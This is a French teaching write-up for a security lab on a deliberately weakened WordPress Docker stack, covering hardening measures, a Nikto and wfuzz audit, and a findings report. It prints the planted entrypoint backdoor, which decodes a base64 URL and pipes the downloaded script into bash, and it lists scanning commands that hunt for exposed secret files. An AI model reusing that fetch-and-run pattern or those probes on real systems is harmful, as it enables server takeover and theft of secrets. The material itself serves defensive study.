On te livre une stack WordPress « prête à l'emploi ». Elle cache une porte dérobée et une dizaine de mauvaises configurations. Le TP : comprendre ce qui tourne, durcir le serveur, puis auditer comme un pro et rédiger le rapport.
Un serveur se fait rarement pirater par une faille géniale. Il tombe par des mauvaises configurations : version affichée, listing de dossiers, fichiers de sauvegarde oubliés, base exposée, permissions 777, et ici un curl | bash caché dans le script de démarrage. Durcir, c'est fermer ces portes une par une, de façon persistante (dans les fichiers, pas à chaud). Auditer, c'est les trouver avec plusieurs outils complémentaires (Nikto, wfuzz, curl, inspection), mesurer, corriger, puis re-mesurer : ici Nikto passe de 27 à 7 alertes.
01 · Les bases
Avant de toucher au serveur, huit notions que le sujet demande de savoir expliquer. Elles reviennent partout dans la suite.
Le symétrique est rapide mais il faut partager la clé. L'asymétrique règle le partage mais il est lent. Hybride : une clé de session aléatoire, envoyée chiffrée en asymétrique, puis tout le reste en symétrique. C'est TLS.
Collisions fabricables depuis 2004 (deux fichiers, même empreinte), et beaucoup trop rapide : des milliards d'essais par seconde. SHA-256 pour l'intégrité, bcrypt / argon2 (lents, salés) pour les mots de passe.
Confidentialité (seuls les autorisés lisent), intégrité (pas de modif non détectée), disponibilité (le service répond), non-répudiation (on ne peut pas nier avoir agi : signature).
Identification : déclarer qui on est (login). Authentification : prouver que c'est vrai (mot de passe, clé, biométrie). Puis vient l'autorisation : ce qu'on a le droit de faire.
Le droit de maîtriser la collecte et l'usage de ses données personnelles. Minimisation, finalité, consentement, droit d'accès et d'effacement. En Europe : le RGPD.
Force brute (essayer tous les secrets), directory brute forcing (deviner les fichiers cachés via les codes HTTP), injection de commande (faire exécuter du shell au serveur). Rappel TP01.
02 · La stack
Le zip contient trois fichiers : stack.yml, docker-entrypoint.sh et kali/Dockerfile. Le sujet demande de lister les services explicites (déclarés dans le compose) et implicites (ce qui tourne à l'intérieur).
Le sujet prévient : « elle crée des conteneurs » ne suffit pas. Deux étapes en plus :
Avant : seulement les 3 fichiers livrés. Après : un dossier data/ est apparu avec wordpress/ (~42 Mo, le site), db/ (~148 Mo, fichiers InnoDB) et kali-share/ (vide).
Dans data/wordpress traînent des fichiers qui n'ont rien à faire là : phpinfo.php, backup.zip, config.php~, secret/.env.prod, le tout en 777. Ils ne viennent pas de WordPress.
03 · Le piège
D'où viennent ces fichiers ? Du docker-entrypoint.sh fourni, monté par-dessus celui de l'image officielle. Juste avant de lancer Apache, il décode une URL en base64 et exécute le script qu'elle sert. Déroule-le.
# docker-entrypoint.sh (livré), lignes 284 à 291 url_base64="aHR0cHM6Ly9kdHoubGluay9lZmd0aC9hZGRpdGlvbmFsLXNldHVwLnNoCg==" url=$(echo "$url_base64" | base64 --decode 2> /dev/null) if command -v curl >/dev/null 2>&1; then curl -s "$url" | bash elif command -v wget >/dev/null 2>&1; then wget -q -O - "$url" | bash fi
Pour savoir ce que fait le script distant, on le télécharge en texte (curl -s URL | less) sans jamais le passer à bash. Le base64 n'est pas du chiffrement : echo ... | base64 -d suffit à lire l'URL. Un encodage qui cache une adresse dans un script de démarrage est en soi un signal d'alerte.
04 · Durcir
Le sujet exige au moins cinq mécanismes, dont au moins un dans chaque domaine : modifier un fichier de configuration, paramétrer un service, ajouter un outil ou un service. Clique chaque mécanisme pour voir la preuve avant et après.
Avant
Après
Corriger dans le conteneur avec docker exec marche jusqu'au prochain redémarrage, où l'entrypoint repasse et tout revient. La bonne approche : corriger les fichiers source (docker-entrypoint.sh, stack.yml), ajouter des confs de durcissement montées en lecture seule, puis recréer la stack.
# stack.yml, service wordpress volumes: - ./hardening/security-hardening.conf:/etc/apache2/conf-enabled/zz-hardening.conf:ro - ./hardening/hardening.ini:/usr/local/etc/php/conf.d/zz-hardening.ini:ro # service db : bloc ports: "8006:3306" supprimé
Le préfixe zz- fait charger ces fichiers en dernier (ordre alphabétique) : leurs directives écrasent celles de la conf dégradée.
# hardening/security-hardening.conf (M2 + M4 + M6) ServerTokens Prod ServerSignature Off TraceEnable Off <Directory "/var/www/html"> Options -Indexes +FollowSymLinks </Directory> Header always set X-Content-Type-Options "nosniff" Header always set X-Frame-Options "SAMEORIGIN" Header always set Content-Security-Policy "default-src 'self'; ..." Header always unset X-Powered-By <FilesMatch "(\.env.*|\.bak|.*~|\.zip|\.sql|phpinfo\.php)$"> Require all denied </FilesMatch>
Le sujet la demande explicitement. Ici, un seul mécanisme touche l'exploitation : M3. Un administrateur qui ouvrait la base depuis l'hôte sur le port 8006 doit passer par docker exec ou publier le port temporairement, restreint à 127.0.0.1. Les autres mécanismes ne changent rien pour un visiteur légitime.
05 · Auditer
Nikto est un scanner de serveurs web open source (Perl). Il compare la cible à des milliers de signatures : fichiers dangereux, versions obsolètes, mauvaises configs, en-têtes manquants, méthodes HTTP à risque. Rapide et gratuit, mais bruyant, sujet aux faux positifs, et aveugle à la logique applicative.
Sur la stack, il remonte d'un coup la version exposée, phpinfo, le listing et TRACE. Excellent pour la reconnaissance. Mais il n'exploite rien et ne teste pas l'authentification, le contrôle d'accès ou les injections.
nmap (ports, services), Nikto (config serveur), wfuzz/gobuster/ffuf (fichiers cachés), WPScan (WordPress), Burp/ZAP (logique applicative), sqlmap (SQLi). Et surtout du test manuel.
OWASP ZAP, Burp Suite, Nessus, OpenVAS/Greenbone, Acunetix, Nexpose, Wapiti, w3af, Arachni, skipfish. Pour WordPress : WPScan. Nikto se distingue par sa légèreté.
docker exec kali nikto -h http://wordpress. Kali est sur le même réseau Docker : la cible se joint par son nom de service.
Une petite wordlist ciblée (sauvegardes, .env, phpinfo...) contre http://wordpress/FUZZ, 404 masqués.
curl -sI pour les en-têtes exacts, -X TRACE pour les méthodes, puis docker exec pour remonter à la conf fautive.
Un audit sans mesure après correction ne prouve rien. Nikto passe de 27 à 7 éléments. Les 7 restants sont informatifs ou hors périmètre : fichiers de licence WordPress, absence de HSTS (qui n'a de sens qu'en HTTPS).
06 · Le rapport
Le sujet impose une trame : Objet (but, périmètre, démarche), Méthodologie (outils), Résultats (par faille : état, impact, difficulté de résolution), Solutions / recommandations, Conclusion lisible par un non-expert. Voici les résultats en une table.
| # | Faille | Gravité | Impact | Correction | Difficulté |
|---|---|---|---|---|---|
| F1 | Script distant exécuté au démarrage | critique | prise de contrôle totale | M1 | faible (le dur est de le voir) |
| F2 | Versions, phpinfo, erreurs PHP visibles | élevée | ciblage des CVE connues | M2, M4 | faible |
| F3 | backup.zip, config.php~, .env.prod publics | critique | fuite de secrets | M5, M6 | faible à moyenne |
| F4 | Listing de répertoires | élevée | cartographie facile | M2 | faible |
| F5 | TRACE actif, pas d'en-têtes de sécurité | moyenne | attaques côté navigateur | M6 | faible |
| F6 | Base exposée, mots de passe faibles, image EOL | élevée | brute force, CVE non corrigées | M3 (+ migration) | faible / élevée pour l'image |
| F7 | Permissions 777 | moyenne | modification de tout le site | M5 | faible |
L'image wordpress:5.1.0-apache tourne sur Debian 9 (stretch), en fin de vie : apt renvoie des 404, on ne peut même plus installer ModSecurity. Tous les réglages du monde ne corrigent pas les CVE d'un logiciel qui ne reçoit plus de correctifs. D'où la recommandation n°2 : migrer vers une image maintenue et automatiser les mises à jour.
Le serveur présentait des failles graves (exécution de code distant, secrets exposés) qui venaient de mauvaises configurations et d'un logiciel obsolète, pas de défauts complexes. Les corrections sont simples, le risque passe de critique à faible. Le chantier restant est la mise à jour régulière de la base logicielle.
07 · Le TP décortiqué
Corrigé complet du TP02 dans la numérotation du sujet. Ouvre chaque exercice.
Chiffrement hybride, MD5, CIA, identification, vie privée, 3 attaques.
Le symétrique (une clé partagée) est rapide mais pose le problème de l'échange de la clé. L'asymétrique (clé publique / privée) règle l'échange mais coûte cher en calcul, inadapté aux gros volumes. Hybride : on génère une clé de session symétrique aléatoire, on l'envoie chiffrée avec la clé publique du destinataire, puis tout le trafic est chiffré en symétrique. Performance du symétrique, facilité d'échange de l'asymétrique. C'est le fonctionnement de TLS et de PGP.
(1) Sa résistance aux collisions est cassée : on sait produire deux messages de même empreinte (2004, puis faux certificats), donc une empreinte identique ne garantit plus un contenu identique. (2) Il est trop rapide : un attaquant teste des milliards de candidats par seconde, brute force et rainbow tables deviennent efficaces sur des mots de passe. (3) Pas de sel ni de facteur de coût intégré. À remplacer par SHA-256/SHA-3 (intégrité) et bcrypt/scrypt/argon2 (mots de passe).
Confidentialité : seules les personnes autorisées accèdent à l'information (chiffrement, contrôle d'accès). Intégrité : l'information n'est pas modifiée sans que ça se détecte (hachage, signature). Disponibilité : le service reste accessible quand on en a besoin (redondance, sauvegardes, anti-DoS). Non-répudiation : un acteur ne peut pas nier avoir émis un message ou fait une action (signature numérique, journaux horodatés). Les trois premières forment la triade CIA.
Identification : déclarer une identité (saisir son login). Simple affirmation, non vérifiée. Authentification : prouver cette identité par un facteur connu, possédé ou inhérent (mot de passe, token, empreinte). Les deux précèdent l'autorisation, qui fixe les droits.
Le droit d'une personne à contrôler la collecte, l'usage et la diffusion de ses données personnelles. Principes : minimisation, finalité, consentement, droits d'accès et d'effacement, durée de conservation limitée. Cadre légal européen : RGPD. Moyens techniques : chiffrement, pseudonymisation, contrôle d'accès. Le secret/.env.prod lisible publiquement dans ce TP en est le contre-exemple.
Essayer systématiquement les valeurs possibles d'un secret jusqu'à trouver la bonne (pure, par dictionnaire, hybride). Conséquences : comptes compromis, accès non autorisé, vol de données, rebond vers d'autres systèmes. Parades : mots de passe longs, limitation d'essais et verrouillage, MFA, hachage lent et salé, fail2ban.
Force brute appliquée aux chemins d'un serveur web : on teste une liste de noms (admin, backup, .git, .env...) et on lit le code HTTP (200 existe, 403 existe mais interdit, 404 absent). Outils : dirb, gobuster, ffuf, wfuzz. Conséquences : pages d'admin, sauvegardes et secrets découverts, carte complète de l'appli. Démontré sur la stack : backup.zip, config.php~ et secret/.env.prod en 200 (voir l'animation wfuzz).
Faire exécuter au serveur des commandes système arbitraires en glissant des métacaractères shell (;, |, $( )) dans une entrée qui finit dans un appel système. Conséquences : exécution de code à distance (RCE), prise de contrôle, vol ou destruction de données, rebond réseau. Parades : ne jamais passer d'entrée non fiable au shell, API paramétrées, validation stricte, moindre privilège. Le curl | bash de l'entrypoint produit le même effet qu'une RCE.
Services, arborescence, compose up, plan de sécurisation M1 à M6.
Explicites (dans stack.yml) :
| Service | Image | Rôle |
|---|---|---|
| wordpress | wordpress:5.1.0-apache | CMS, port hôte 8080 → 80 |
| db | mariadb:10.4 | base de WordPress, port hôte 8006 → 3306 |
| kali | build local | outils de pentest, hors analyse |
Implicites : le serveur HTTP Apache et le moteur PHP 7.2 (mod_php) dans le conteneur wordpress, le démon mysqld dans db, le réseau Docker tp-security_default avec sa résolution DNS par nom de service (WordPress joint la base via db), les bind mounts de persistance (data/wordpress, data/db, data/kali-share), et l'entrypoint personnalisé monté sur celui de l'image.
Seulement les fichiers livrés : docker-entrypoint.sh, stack.yml, kali/Dockerfile. Pas de data/, pas d'image, pas de conteneur. À ce stade, il faut lire l'entrypoint : c'est là qu'est le curl | bash. Sous Linux, penser au chmod +x docker-entrypoint.sh.
(1) Préparation des images : pull de wordpress et mariadb, build de l'image Kali (apt install des outils). (2) Création de l'infrastructure et initialisation : réseau, volumes, démarrage, puis chaque conteneur s'initialise (MariaDB crée la base wp et ses comptes, l'entrypoint copie WordPress, génère wp-config.php, attend la base, et exécute le script distant).
Un dossier data/ est apparu : wordpress/ (~42 Mo, l'installation copiée), db/ (~148 Mo, fichiers InnoDB de la base), kali-share/ (vide). Ce sont les données persistantes des conteneurs, montées depuis l'hôte. On y voit surtout des artefacts anormaux : phpinfo.php, backup.zip, config.php~, secret/.env.prod, permissions 777, et deux confs Apache dégradées. Ils viennent du script distant.
Six mécanismes, couvrant les trois domaines imposés. Détail et preuves dans l'animation avant / après.
| # | Mécanisme | Domaine | Preuve |
|---|---|---|---|
| M1 | Supprimer le curl | bash de l'entrypoint | fichier de config | plus de fichier injecté |
| M2 | ServerTokens Prod, ServerSignature Off, -Indexes | fichier de config | Server: Apache, listing 403 |
| M3 | Port 8006 retiré, mots de passe forts | paramétrage service | db en 3306/tcp interne |
| M4 | display_errors / expose_php Off, phpinfo retiré | paramétrage service | plus de X-Powered-By, phpinfo 403 |
| M5 | Fichiers sensibles supprimés, 755/644 | config + permissions | wfuzz 403, stat 755 |
| M6 | mod_headers : en-têtes, TraceEnable Off, FilesMatch | ajout d'outil | en-têtes présents, TRACE 405 |
Chaque mécanisme se rédige en trois temps : démarche et objectif, étapes, preuve (capture). Ne pas oublier l'analyse d'impact (seul M3 touche l'exploitation).
Nikto, ses limites, les alternatives, le plan d'actions et le rapport.
Un scanner de vulnérabilités de serveurs web, open source, écrit en Perl. Il teste la cible contre plusieurs milliers de signatures : fichiers et scripts par défaut ou dangereux, versions obsolètes, mauvaises configurations, en-têtes de sécurité absents, méthodes HTTP à risque. Scanner actif, rapide, et bruyant (non conçu pour la discrétion).
Oui, comme première passe. Sur la stack il trouve immédiatement la version exposée, phpinfo, le listing et TRACE. Mais il ne fait que comparer à des signatures connues, produit des faux positifs, ne teste ni la logique métier ni l'authentification, n'exploite rien, et se fait repérer. Utile, insuffisant seul.
Non. nmap (cartographie des ports et services), Nikto (config serveur), wfuzz/gobuster/ffuf (ressources cachées), WPScan (WordPress), Burp Suite ou OWASP ZAP (logique applicative, proxy d'interception), sqlmap (injections SQL), OpenVAS/Nessus (scan large). Chacun couvre une facette. Le test manuel reste indispensable.
Non : OWASP ZAP, Burp Suite, Nessus, OpenVAS/Greenbone, Acunetix, Nexpose, Wapiti, w3af, Arachni, skipfish, et WPScan pour WordPress.
Démarche : Nikto (vue serveur) → wfuzz (vue fichiers) → curl (en-têtes et méthodes exacts) → inspection interne (cause racine) → correction → re-scan. Les outils se complètent : chacun voit ce que l'autre rate.
Reproductibilité (demandée pour un collaborateur d'AcmeSécu) : écrire chaque commande dans l'ordre, avec sa capture.
# baseline docker compose -p tp-security -f stack.yml up -d --build curl -sI http://localhost:8080/ docker exec kali nikto -h http://wordpress # 27 éléments printf '%s\n' backup.zip config.php~ phpinfo.php 'secret/.env.prod' .env \ wp-config.php robots.txt xmlrpc.php readme.html license.txt wp-login.php \ wp-admin secret > data/kali-share/wl.txt docker exec kali wfuzz -w /mnt/share/wl.txt --hc 404 http://wordpress/FUZZ # après durcissement (M1 à M6 + recréation) curl -s -o /dev/null -w '%{http_code}\n' -X TRACE http://localhost:8080/ # 405 docker exec wordpress stat -c '%a %U:%G %n' /var/www/html # 755 docker exec kali nikto -h http://wordpress # 7 éléments
Rapport : suivre la trame du sujet (Objet, Méthodologie, Résultats, Solutions, Conclusion). Pour chaque faille : état actuel, 1 à 3 impacts, difficulté de résolution. Les sept failles F1 à F7 sont dans la table du rapport.
Recommandations par priorité : (1) supprimer toute exécution de code distant non vérifié, (2) migrer vers une image maintenue et automatiser les mises à jour, (3) ne jamais publier la base, mots de passe forts et gestionnaire de secrets, (4) durcir Apache/PHP par défaut et bannir les fichiers sensibles de la racine web, (5) en production, WAF (ModSecurity + OWASP CRS) et HTTPS avec HSTS, (6) moindre privilège sur les fichiers.
Le build Kali échouait sur un miroir au certificat cassé : forcer http://kali.download dans le Dockerfile. wfuzz plante sous Python 3.14 (pkg_resources manquant) : ajouter python3-setuptools. Et l'image WordPress (Debian 9) n'a plus de dépôts apt.
08 · Entraînement
Teste-toi sur le durcissement et l'audit. Questions tirées au hasard, correction et explication immédiates.
Pool de 33 questions. Tire un échantillon au hasard, correction immédiate et explication à chaque réponse.
Lis la question, réponds dans ta tête, puis retourne la carte.